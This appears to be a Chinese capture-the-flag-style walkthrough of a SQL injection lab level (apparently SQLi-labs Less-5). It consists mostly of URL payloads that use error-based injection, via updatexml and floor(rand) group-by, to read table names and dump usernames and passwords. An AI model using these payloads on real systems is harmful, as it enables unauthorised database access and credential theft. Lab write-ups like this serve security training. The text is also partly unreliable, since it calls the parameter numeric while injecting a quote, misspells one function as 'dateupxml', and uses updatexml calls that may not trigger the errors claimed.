在看到网页之后,老样子对其进行类型判断
?id=1'
此时发生报错
因此我们得知第五关应该为数字类型,于是尝试对其查询行数
?id=1' order by 4--+
得到结果超出行数,于是重新尝试3行
?id=1' order by 3--+
此时没有报错,说明行显数为3
尝试对其进行联合搜索,但是输出结果不变,说明不能进行联合搜索
于是我们尝试使用报错注入的方法对网页进行注入测试,这里我们使用dateupxml()语句进行报错注入
?id=1' and dateupxml(1,concat(database()),1) --+
此时出现以下界面
由此可以得知数据库名字为security
接着进行表名查询
?id=1' and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
得到结果如下
得知表名为users
然后继续进行查列
?id=1' and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name='users')),1) --+
得到结果
得到我们需要的两个列名
然后我们通过以下语句尝试输出数据
?id=1' and updatexml(1,concat((select group_concat(username,':',password) from users)),1) --+
得到以下结果
此时可以发现数据输出不完全,需要分组对数据进行输出
用以下语句进行名字-密码的分开输出,其中floor(rand(0)*2),count(*)为报错语句
name:
?id=1' union select count(*),1,concat((select username from users limit 0,1),floor(rand(0)*2)) a from users group by a --+
得到以下结果
password:
?id=1' union select count(*),1,concat((select password from users limit 0,1),floor(rand(0)*2)) a from users group by a --+
得到结果
此时的一个用户的用户名和密码获取完毕,继续获取第二个用户的数据
name2:
?id=1' union select count(*),1,concat((select username from users limit 1,1),floor(rand(0)*2)) a from users group by a --+
得到
密码同理,得到
由此,可得其他用户的数据
此题结束